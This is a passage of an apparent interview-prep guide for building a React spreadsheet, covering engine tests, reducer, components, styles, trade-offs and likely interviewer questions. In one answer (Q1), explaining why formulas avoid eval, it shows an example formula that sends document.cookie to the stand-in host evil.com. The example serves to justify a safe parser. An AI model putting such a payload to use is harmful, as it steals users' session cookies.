assert.equal(show(s, 'A1'), '#CYCLE!');
s = apply([['A1', '=B1'], ['B1', '=A1+1'], ['C1', '=B1']]);
assert.equal(show(s, 'A1'), '#CYCLE!');
assert.equal(show(s, 'B1'), '#CYCLE!');
assert.equal(show(s, 'C1'), '#CYCLE!');
s = setCell(s, 'A1', '5');
assert.equal(show(s, 'B1'), '6');
assert.equal(show(s, 'C1'), '6');

// clearing a cell: it disappears, dependents treat it as 0, old edges are removed
s = apply([['A1', '4'], ['B1', '=A1*2']]);
s = setCell(s, 'A1', '');
assert.equal(s.cells.A1, undefined);
assert.equal(show(s, 'B1'), '0');
s = setCell(s, 'B1', '7');
assert.deepEqual(s.dependents.A1, []);

// immutability: the old sheet is untouched
const before = apply([['A1', '1']]);
setCell(before, 'A1', '2');
assert.equal(show(before, 'A1'), '1');

console.log('all spreadsheet engine checks passed');
```

src/state/reducer.js

```
// UI state: which cell is selected and what is being typed. The sheet itself lives in engine/.
import { emptySheet, setCell } from '../engine/sheet.js';
import { moveId } from '../engine/grid.js';

// edit: null when not editing, else { text, inCell } (inCell=false means typing in the formula bar)
export const initialState = { sheet: emptySheet, selected: 'A1', edit: null };

const rawOf = (state) => state.sheet.cells[state.selected]?.raw ?? '';

function commit(state) {
  if (!state.edit) return state;
  if (state.edit.text === rawOf(state)) return { ...state, edit: null };
  return { ...state, sheet: setCell(state.sheet, state.selected, state.edit.text), edit: null };
}

export function reducer(state, action) {
  switch (action.type) {
    case 'select':
      return action.id === state.selected ? state : { ...commit(state), selected: action.id };
    case 'move': // arrows, Enter, Tab: commits first, like Excel
      return { ...commit(state), selected: moveId(state.selected, action.dr, action.dc) };
    case 'edit': // start or continue editing; no text = start from the current raw value
      return {
        ...state,
        edit: {
          text: action.text ?? state.edit?.text ?? rawOf(state),
          inCell: action.inCell ?? state.edit?.inCell ?? false,
        },
      };
    case 'cancel':
```

```
      return { ...state, edit: null };
    case 'clear':
      return rawOf(state) ? { ...state, sheet: setCell(state.sheet, state.selected, '') } : state;
    default:
      return state;
  }
}
```

src/components/Spreadsheet.jsx

```
import { useEffect, useReducer, useRef } from 'react';
import { ROWS, COLS, colName, toId } from '../engine/grid.js';
import { reducer, initialState } from '../state/reducer.js';
import Cell from './Cell.jsx';
import FormulaBar from './FormulaBar.jsx';

const rows = Array.from({ length: ROWS }, (_, r) => r);
const cols = Array.from({ length: COLS }, (_, c) => c);
const ARROWS = { ArrowUp: [-1, 0], ArrowDown: [1, 0], ArrowLeft: [0, -1], ArrowRight: [0, 1] };

export default function Spreadsheet() {
  const [{ sheet, selected, edit }, dispatch] = useReducer(reducer, initialState);
  const gridRef = useRef(null);

  // After a commit or cancel, keyboard focus returns to the grid
  useEffect(() => {
    if (!edit) gridRef.current.focus();
  }, [edit]);

  // Keys while a cell or the formula bar is being edited
  function onEditKey(e) {
    if (e.key === 'Enter') {
      e.preventDefault();
      dispatch({ type: 'move', dr: 1, dc: 0 });
    } else if (e.key === 'Tab') {
      e.preventDefault();
      dispatch({ type: 'move', dr: 0, dc: e.shiftKey ? -1 : 1 });
    } else if (e.key === 'Escape') {
      dispatch({ type: 'cancel' });
    }
  }

  // Keys while a cell is only selected
  function onGridKey(e) {
    if (edit) return onEditKey(e); // events bubble up from the in-cell input
    if (ARROWS[e.key]) {
      e.preventDefault();
      const [dr, dc] = ARROWS[e.key];
      dispatch({ type: 'move', dr, dc });
    } else if (e.key === 'Enter' || e.key === 'F2') {
      e.preventDefault();
      dispatch({ type: 'edit', inCell: true });
    } else if (e.key === 'Delete' || e.key === 'Backspace') {
      dispatch({ type: 'clear' });
    } else if (e.key.length === 1 && !e.ctrlKey && !e.metaKey && !e.altKey) {
      e.preventDefault(); // typing replaces the cell content, like Excel
      dispatch({ type: 'edit', text: e.key, inCell: true });
    }
  }
```

```
  return (
    <div className="spreadsheet">
      <FormulaBar
        id={selected}
        value={edit ? edit.text : (sheet.cells[selected]?.raw ?? '')}
        dispatch={dispatch}
        onKeyDown={onEditKey}
      />
      <div className="grid-scroll">
        <table
          ref={gridRef}
          role="grid"
          aria-label="Spreadsheet"
          aria-activedescendant={`cell-${selected}`}
          tabIndex={0}
          onKeyDown={onGridKey}
        >
          <thead>
            <tr>
              <th className="corner" />
              {cols.map((c) => (
                <th key={c} scope="col">
                  {colName(c)}
                </th>
              ))}
            </tr>
          </thead>
          <tbody>
            {rows.map((r) => (
              <tr key={r}>
                <th scope="row">{r + 1}</th>
                {cols.map((c) => {
                  const id = toId(r, c);
                  const isSelected = id === selected;
                  return (
                    <Cell
                      key={id}
                      id={id}
                      value={sheet.cells[id]?.value}
                      isSelected={isSelected}
                      editText={isSelected && edit?.inCell ? edit.text : null}
                      dispatch={dispatch}
                    />
                  );
                })}
              </tr>
            ))}
          </tbody>
        </table>
      </div>
    </div>
  );
}
```

src/components/Cell.jsx

```
import { memo } from 'react';
import { display } from '../engine/sheet.js';

// memo + a stable `dispatch` prop: editing B5 re-renders only the cells whose props changed
```

```
function Cell({ id, value, isSelected, editText, dispatch }) {
  const className = [
    'cell',
    isSelected && 'selected',
    typeof value === 'number' && 'number',
    value?.error && 'error',
  ]
    .filter(Boolean)
    .join(' ');

  return (
    <td
      id={`cell-${id}`}
      role="gridcell"
      aria-selected={isSelected}
      className={className}
      onClick={() => dispatch({ type: 'select', id })}
      onDoubleClick={() => dispatch({ type: 'edit', inCell: true })}
    >
      {editText !== null ? (
        <input
          autoFocus
          className="cell-input"
          aria-label={`Edit ${id}`}
          value={editText}
          spellCheck={false}
          onChange={(e) => dispatch({ type: 'edit', text: e.target.value, inCell: true })}
        />
      ) : (
        display(value)
      )}
    </td>
  );
}

export default memo(Cell);
```

src/components/FormulaBar.jsx

```
// Shows the raw text (the formula) of the selected cell; the grid shows computed values.
export default function FormulaBar({ id, value, dispatch, onKeyDown }) {
  return (
    <div className="formula-bar">
      <label htmlFor="formula-input" className="cell-name">
        {id}
      </label>
      <span className="fx" aria-hidden="true">
        fx
      </span>
      <input
        id="formula-input"
        value={value}
        spellCheck={false}
        placeholder="Value or formula, e.g. =SUM(A1:A5)"
        onChange={(e) => dispatch({ type: 'edit', text: e.target.value })}
        onKeyDown={onKeyDown}
      />
    </div>
```

```
  );
}
```

src/App.jsx

```
import Spreadsheet from './components/Spreadsheet.jsx';
import './styles.css';

export default function App() {
  return (
    <main className="app">
      <h1>Spreadsheet</h1>
      <Spreadsheet />
    </main>
  );
}
```

src/main.jsx

```
import { StrictMode } from 'react';
import { createRoot } from 'react-dom/client';
import App from './App.jsx';

createRoot(document.getElementById('root')).render(
  <StrictMode>
    <App />
  </StrictMode>,
);
```

src/styles.css

```
* { box-sizing: border-box; }
body { margin: 0; font-family: system-ui, sans-serif; color: #1f2933; background: #f5f7fa; }
.app { max-width: 1100px; margin: 24px auto; padding: 0 16px; }
h1 { font-size: 20px; margin: 0 0 12px; }

.formula-bar { display: flex; align-items: center; gap: 8px; padding: 6px 8px;
  border: 1px solid #cbd2d9; border-bottom: 0; background: #fff; }
.cell-name { min-width: 48px; font-weight: 600; text-align: center; }
.fx { color: #7b8794; font-style: italic; }
.formula-bar input { flex: 1; padding: 4px 6px; font: 14px ui-monospace, monospace;
  border: 1px solid #cbd2d9; border-radius: 4px; }

.grid-scroll { overflow: auto; max-height: 70vh; border: 1px solid #cbd2d9; background: #fff; }
table { border-collapse: collapse; table-layout: fixed; outline: none; }
th, td { width: 96px; height: 28px; border: 1px solid #e4e7eb; font-size: 14px; padding: 0 6px;
  white-space: nowrap; overflow: hidden; text-overflow: ellipsis; }
th { position: sticky; background: #f0f2f5; color: #52606d; font-weight: 500; z-index: 1; }
thead th { top: 0; }
tbody th { left: 0; width: 44px; text-align: center; }
th.corner { left: 0; width: 44px; z-index: 2; }

.cell { cursor: cell; }
.cell.number { text-align: right; }
.cell.error { color: #c81e1e; }
.cell.selected { outline: 2px solid #2563eb; outline-offset: -2px; }
```

```
table:focus .cell.selected { background: #eff6ff; }
.cell-input { width: 100%; height: 100%; border: 0; outline: none; padding: 0; font: inherit;
  background: transparent; }
```

---

12. Wrap-up

Edge cases handled

- Operator precedence, parentheses, unary minus, decimals, lowercase input.
- Formulas typed before their inputs; diamonds (each cell evaluated once); deep chains.
- Every Excel-style error, with propagation to dependents.
- Self and multi-cell cycles, cells downstream of cycles, and automatic recovery.
- Clearing cells removes graph edges; changing a formula replaces its edges.
- Floating-point display, out-of-grid references, reversed ranges, empty ranges.
- Keyboard-only use, focus returning to the grid, no commit on clicking the cell being edited.

Trade-offs to mention

Decision	Why	Cost
Hand-written parser instead of `eval` / `new Function`	Safe, understands `A1` and ranges, gives error codes	~100 lines to write
AST cached in state	Recompute doesn't re-parse	State holds non-UI data (fine: it's plain objects)
Reverse-edge map + Kahn's sort on the affected subgraph	Each dependent evaluated once, in order; cycles detected for free	More code than "recompute everything", which would be fine for 200 cells
Ranges expanded into individual deps	Simple graph, exact dependencies	`SUM(A1:A100000)` creates 100k edges; real engines store range edges
Errors as `{ error }` values	Propagate like numbers, never crash the UI	Every reader must handle the object case
Immutable `setCell` (copies maps)	Works with React, easy undo later, testable	Copies two objects of size "used cells" per commit
Single `useReducer`	Stable `dispatch` enables `memo(Cell)`; all transitions in one pure function	Slightly more ceremony than `useState`
`=A1` where A1 is text gives `#VALUE!`	Uniform numeric evaluator	Excel would show the text; fix by special-casing a lone reference

What to add with more time

- **Tests:** React Testing Library for the keyboard flows; property tests for the parser.
- **Click-to-insert references** while typing a formula (`=A1+` then click B2 inserts `B2`), with coloured reference highlights.

- **Copy / paste and fill-down** with relative vs absolute references (`$A$1`): requires shifting refs in the AST and re-serializing.
- **Undo / redo:** `setCell` is immutable, so a history stack of `sheet` snapshots (or of `{ id, oldRaw, newRaw }` commands) is easy.
- **Persistence:** save only `raw` per cell to localStorage / backend; rebuild with `setCell` for each cell on load (order doesn't matter, the graph fixes it).
- **Large sheets:** virtualize rows/columns, multi-letter columns (`AA`), range edges instead of expanding, recompute in a Web Worker.
- **More functions and types:** `IF` , comparisons, strings (`&`), booleans, dates, number formatting.
- **Collaboration:** send `{ id, raw }` operations over WebSocket; each client runs the same deterministic engine.

---

13. Counter questions the interviewer may ask

Requirements

Q1. Why not just use `eval()` or `new Function()` for formulas?

It runs any JavaScript the user types (`=fetch('evil.com?c='+document.cookie)`), so it's a security hole as soon as sheets are shared. It also doesn't know what `A1` or `A1:A3` mean, can't return `#DIV/0!` style errors, and can't tell us the dependencies. A small parser solves all four.

Q2. What would you cut first if you only had 30 minutes?

Ranges/functions and in-cell editing. Keep: formula bar editing, `+ - * /` with refs, recompute **all** formula cells in a loop until stable (or by recursive evaluate with memo + a visiting set for cycles). That is correct and demonstrable; then explain the dependency-graph upgrade.

Q3. Why fix the grid to 10 columns with single letters?

It keeps `parseId` a one-line regex and is enough to demo. Multi-letter columns are base-26 without zero: `AA = 27` . The conversion is a small loop; only `grid.js` changes.

State design

Q4. Why store `value` , `ast` , `deps` if they can be derived from `raw` ?

They are a cache written in exactly one place (`setCell`). Deriving them on every render would re-parse every formula and recompute the whole sheet per keystroke, and we'd lose "recompute only dependents". The rule "derive, don't store" protects against inconsistent state; a single writer gives the same protection.

Q5. Why a sparse object instead of a 2D array?

Most cells are empty. A map keyed by `'A1'` stores only used cells, and those ids are also graph node ids, React keys and DOM ids. A 2D array would need conversion at every graph lookup and wastes memory on huge grids.

Q6. Why keep the draft (`edit.text`) separate from the sheet?

Typing must not recompute dependents on every keystroke, and Escape must restore the old value. With a separate draft, Escape is `edit = null` and commit is one `setCell` call.

Q7. Why `useReducer` and not a few `useState`s?

Commit touches three things at once (sheet, selection, draft), and every transition is a pure function I can test in node. Also `dispatch` is stable across renders, so `memo(Cell)` works without `useCallback` juggling.

Hard parts

Q8. Walk me through what happens on a diamond: A1 feeds B1 and C1, both feed D1.

Affected set = {A1, B1, C1, D1}. Pending counts: A1 0, B1 1, C1 1, D1 2. A1 evaluates, B1 and C1 drop to 0; each evaluates and decrements D1; D1 reaches 0 only after both, so it evaluates once with fresh inputs. A recursive "recompute my dependents" would evaluate D1 twice.

Q9. How do you detect a cycle? What's the complexity?

Kahn's algorithm: cells on a cycle never reach zero pending inputs. Whatever remains in `pending` after the queue empties is on a cycle or downstream of one. Collecting the affected set and sorting are both O(V + E) of the affected subgraph, not the whole sheet.

Q10. Why not detect cycles when the user types and reject the edit?

Possible (DFS from the new deps looking for the edited cell), and Google Sheets does show an error instead. But Excel lets you save it and shows a warning. Storing it and showing `#CYCLE!` keeps data (the user may be halfway through rewriting two formulas), and the same algorithm handles recovery.

Q11. What happens when a formula changes from `=A1+B1` to `=C1`?

Say the edited cell is `B5`. `setCell` first removes `B5` from `dependents.A1` and `dependents.B1`, then adds it to `dependents.C1`. Without removing old edges, editing A1 later would still recompute this cell (wasted work), and stale edges could even create a false `#CYCLE!`.

Q12. How does operator precedence actually come out of your parser?

Each precedence level is a function and lower levels call higher ones: `expr` handles `+ -` and calls `term` for its operands; `term` handles `* /` and calls `factor`. So `2+3*4` parses `3*4` inside `term` before `expr` ever sees the `+`. The `while` loops build left-nested trees, which gives left associativity: `8-4-2 = (8-4)-2`.

Q13. How would you add comparison operators and `IF`?

Add a lower precedence level above `expr`: `compare = expr (('<' | '>' | '=' ...) expr)?`, add those characters to the token regex, and add `IF` as a function. `IF` should be **lazy** (evaluate only the chosen branch), so it needs a special case in `evaluate` instead of the eager `flatMap` of args.

Implementation steps

Q14. Why does clicking the in-cell input not commit the edit?

The click bubbles to the `<td>`, which dispatches `select` with the same id. The reducer returns the state unchanged when `action.id === state.selected`, so the edit continues.

Q15. When you type in the formula bar, why doesn't the cell's input steal focus?

`edit.inCell` records where editing started. The cell renders its `<input autoFocus>` only when `inCell` is true, so formula-bar edits never mount an input in the grid.

Q16. How is the grid accessible?

The `table` has `role="grid"`, keeps focus itself and points to the active cell with `aria-activedescendant="cell-B2"`; cells have `role="gridcell"` and `aria-selected`. Everything works with the keyboard; the formula bar input has a `<label>` showing the cell name. Error codes are text, not only red colour.

Performance

Q17. What if the sheet has 1 million cells?

Rendering: virtualize rows and columns (only ~50x20 cells in the DOM). Graph: store range edges (`A1:A100000` as one interval node) instead of 100k individual edges, and use an interval index to find "which ranges contain A57". Compute: run the engine in a Web Worker so the UI stays responsive, and send only changed values back.

Q18. One edit triggers 50,000 dependents. What then?

Recompute is already linear in the affected subgraph, so the cost is the evaluation itself. Move it to a Web Worker, show a "calculating..." state, and batch results into one render. Excel also offers manual calculation mode for this case.

Q19. Does editing one cell re-render all 200 cells?

The parent re-renders, but `Cell` is memoized and gets primitive props plus a stable `dispatch`. Only cells whose `value`, selection or edit text changed re-render. `setCell` copies the unchanged cell objects by reference, so `value` identity is kept for untouched cells.

Q20. Isn't copying `cells` and `dependents` on each commit slow?

It's a shallow copy of the used cells, O(used cells) per commit, which is fine for thousands of cells. For very large sheets, use a structural-sharing library (Immer, persistent maps) or keep the engine mutable inside a Web Worker and only send diffs to React.

Trade-offs and "why not X?"

Q21. Why not recompute the entire sheet on every edit? It's simpler.

For 200 cells it's honestly fine, and I'd say so. But it needs its own ordering (or memoized recursive evaluation) and cycle detection anyway, and it doesn't scale. The affected-subgraph version is ~30 lines and is the core of what this question tests.

Q22. Why not recursive evaluation with memoization instead of Kahn's?

`evaluate(id)` that recursively evaluates its inputs (with a cache and a "visiting" set for cycles) also works and recomputes in the right order. Its risks: deep chains (`A1 -> A2 -> ... -> A10000`) overflow the JS stack, and you need to invalidate the cache correctly. Kahn's is iterative, so no stack limit, and the leftover set is the cycle report.

Q23. What if the formula engine must be shared with the backend (e.g. for exports)?

That's why `engine/` has no React imports: it's plain ES modules that run in Node, a Worker or the browser. The backend can import the same `setCell` and produce identical values.

Q24. How would two users edit the same sheet?

Send operations `{ id, raw }` (not computed values) through a server that orders them; each client applies them with the same deterministic `setCell` . Concurrent edits to the same cell resolve last-writer-wins; for text inside a cell you'd need OT/CRDT. Presence (who's on which cell) is a separate ephemeral channel.

Q25. How would you implement undo / redo?

`setCell` never mutates, so keep a stack of previous `sheet` objects (structural sharing keeps it cheap) or, lighter, a stack of commands `{ id, before, after }` and replay `setCell(sheet, id, before)` to undo. The graph recomputes dependents automatically either way.